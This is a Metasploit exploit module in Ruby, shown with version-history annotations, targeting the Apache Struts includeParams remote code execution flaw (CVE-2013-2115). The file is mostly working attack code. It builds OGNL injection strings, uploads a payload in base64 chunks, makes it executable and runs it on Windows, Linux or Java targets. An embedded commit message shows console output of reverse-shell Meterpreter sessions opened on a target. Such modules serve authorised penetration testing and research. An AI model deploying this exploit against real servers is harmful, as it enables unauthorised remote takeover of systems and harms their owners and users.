metasploit-framework/modules/exploits/multi/http/struts_include_params.rb

198 lines
6.8 KiB
Ruby
Raw Normal View History

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts includeParams Remote Code Execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in Apache Struts
versions < 2.3.14.2. A specifically crafted request parameter can be used to inject
arbitrary OGNL code into the stack bypassing Struts and OGNL library protections.
},
'Author' =>
[
'Eric Kobrin', # Vulnerability Discovery
'Douglas Rodrigues', # Vulnerability Discovery
'Coverity security Research Laboratory', # Vulnerability Discovery
'NSFOCUS Security Team', # Vulnerability Discovery
'Richard Hicks <scriptmonkey.blog[at]gmail.com>', # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
2013-05-28 22:15:10 +00:00
[ 'CVE', '2013-2115'],
[ 'CVE', '2013-1966'],
[ 'OSVDB', '93645'],
[ 'URL', 'https://cwiki.apache.org/confluence/display/WW/S2-014'],
[ 'URL', 'http://struts.apache.org/development/2.x/docs/s2-013.html']
],
'Platform' => [ 'win', 'linux', 'java'],
'Privileged' => true,
'Targets' =>
[
['Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'windows'
}
],
['Linux Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
[ 'Java Universal',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
},
]
],
'DisclosureDate' => 'May 24 2013',
'DefaultTarget' => 2))
register_options(
[
Opt::RPORT(8080),
OptString.new('PARAMETER',[ true, 'The parameter to use for the exploit (does not have to be an expected one).',rand_text_alpha_lower(4)]),
OptString.new('TARGETURI', [ true, 'The path to a vulnerable struts application action', "/struts2-blank3/example/HelloWorld.action"]),
OptEnum.new('HTTPMETHOD', [ true, 'Which HTTP Method to use, GET or POST','GET', ['GET','POST']]),
OptInt.new('CHECK_SLEEPTIME', [ true, 'The time, in seconds, to ask the server to sleep while check', 5])
], self.class)
end
def execute_command(cmd, opts = {})
inject = "${#_memberAccess[\"allowStaticMethodAccess\"]=true,CMD}"
inject.gsub!(/CMD/,cmd)
uri = normalize_uri(target_uri.path)
2013-05-30 12:08:43 +00:00
case datastore['HTTPMETHOD']
when 'POST'
@method_specific_message = "Performing HTTP POST requests to upload payload"
resp = send_request_cgi({
'uri' => uri,
'vars_post' => { datastore['PARAMETER'] => inject },
'version' => '1.1',
'method' => 'POST'
})
when 'GET'
@method_specific_message = "Performing HTTP GET requests to upload payload"
resp = send_request_cgi({
'uri' => uri,
'vars_get' => { datastore['PARAMETER'] => inject },
'version' => '1.1',
'method' => 'GET'
})
end
# Display a nice "progress bar" instead of message spam
case @notify_flag
when 0
print_status(@method_specific_message)
@notify_flag = 1
when 1
print(".") # Progress dots
when 2
print_status("Payload upload complete")
end
return resp #Used for check function.
end
def exploit
#Set up generic values.
@payload_exe = rand_text_alphanumeric(4+rand(4))
pl_exe = generate_payload_exe
append = 'false'
#Now arch specific...
case target['Platform']
when 'linux'
@payload_exe = "/tmp/#{@payload_exe}"
chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{@payload_exe}\".split(\"_\"))"
exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{@payload_exe}\".split(\"_\"))"
when 'java'
@payload_exe << ".jar"
pl_exe = payload.encoded_jar.pack
exec_cmd = ""
exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"
exec_cmd << "#q.setAccessible(true),#q.set(null,true),"
exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),"
exec_cmd << "#q.setAccessible(true),#q.set(null,false),"
exec_cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_exe}').toURI().toURL()}),"
exec_cmd << "#c=#cl.loadClass('metasploit.Payload'),"
exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
when 'windows'
@payload_exe = "./#{@payload_exe}.exe"
exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{@payload_exe}')"
else
fail_with(Exploit::Failure::NoTarget, 'Unsupported target platform!')
end
print_status("Preparing payload...")
#Now with all the arch specific stuff set, perform the upload.
#109 = length of cmd string from "java_upload_part" method plus the max length of the boolean value append.
Fix issue with JAVA meterpreter failing to work. Was down to the chunk length not being set correctly. Still need to test against windows. ``` msf exploit(struts_include_params) > show targets Exploit targets: Id Name -- ---- 0 Windows Universal 1 Linux Universal 2 Java Universal msf exploit(struts_include_params) > set target 1 target => 1 msf exploit(struts_include_params) > set payload linux/x86/meterpreter/reverse_tcp payload => linux/x86/meterpreter/reverse_tcp msf exploit(struts_include_params) > exploit [*] Started reverse handler on 192.168.0.2:4444 [*] Preparing payload... [*] Sending payload... [*] Sending payload... [*] Sending payload... [*] Transmitting intermediate stager for over-sized stage...(100 bytes) [*] Sending stage (1126400 bytes) to 192.168.0.1 [*] Meterpreter session 5 opened (192.168.0.2:4444 -> 192.168.0.1:38512) at 2013-05-30 10:37:54 +0100 [+] Deleted /tmp/57mN5N meterpreter > sysinfo Computer : localhost.localdomain OS : Linux localhost.localdomain 2.6.32-358.2.1.el6.x86_64 #1 SMP Wed Mar 13 00:26:49 UTC 2013 (x86_64) Architecture : x86_64 Meterpreter : x86/linux meterpreter > exit [*] Shutting down Meterpreter... [*] 192.168.0.1 - Meterpreter session 5 closed. Reason: User exit msf exploit(struts_include_params) > set target 2 target => 2 msf exploit(struts_include_params) > set payload java/meterpreter/reverse_tcp payload => java/meterpreter/reverse_tcp msf exploit(struts_include_params) > exploit [*] Started reverse handler on 192.168.0.2:4444 [*] Preparing payload... [*] Sending payload... [*] Sending payload... [*] Sending payload... [*] Sending payload... [*] Sending payload... [*] Sending stage (30246 bytes) to 192.168.0.1 [*] Meterpreter session 6 opened (192.168.0.2:4444 -> 192.168.0.1:38513) at 2013-05-30 10:38:27 +0100 [!] This exploit may require manual cleanup of: z4kv.jar meterpreter > sysinfo Computer : localhost.localdomain OS : Linux 2.6.32-358.2.1.el6.x86_64 (amd64) Meterpreter : java/java meterpreter > exit [*] Shutting down Meterpreter... ```
2013-05-30 09:35:29 +00:00
sub_from_chunk = 109 + @payload_exe.length + normalize_uri(target_uri.path).length + datastore['PARAMETER'].length
case datastore['HTTPMETHOD']
when 'GET'
chunk_length = 2048 - sub_from_chunk
chunk_length = ((chunk_length/4).floor)*3
when 'POST'
chunk_length = 65535 # Just set this to an arbitrarily large value, as its a post request we don't care about size.
end
2013-05-30 12:08:43 +00:00
@notify_flag = 0
while pl_exe.length > chunk_length
java_upload_part(pl_exe[0,chunk_length],@payload_exe,append)
pl_exe = pl_exe[chunk_length,pl_exe.length - chunk_length]
append = true
end
java_upload_part(pl_exe,@payload_exe,append)
execute_command(chmod_cmd) if target['Platform'] == 'linux'
2013-05-30 12:08:43 +00:00
print_line() # new line character, after progress bar.
@notify_flag = 2 # upload is complete, next command we're going to execute the uploaded file.
execute_command(exec_cmd)
register_files_for_cleanup(@payload_exe)
end
def java_upload_part(part, filename, append = 'false')
cmd = ""
cmd << "#f=new java.io.FileOutputStream('#{filename}',#{append}),"
cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}')),"
cmd << "#f.close()"
execute_command(cmd)
end
def check
print_status("Performing Check...")
sleep_time = datastore['CHECK_SLEEPTIME']
check_cmd = "@java.lang.Thread@sleep(#{sleep_time * 1000})"
t1 = Time.now
print_status("Asking remote server to sleep for #{sleep_time} seconds")
response = execute_command(check_cmd)
t2 = Time.now
delta = t2 - t1
if response.nil?
return Exploit::CheckCode::Safe
elsif delta < sleep_time
return Exploit::CheckCode::Safe
else
return Exploit::CheckCode::Appears
end
end
end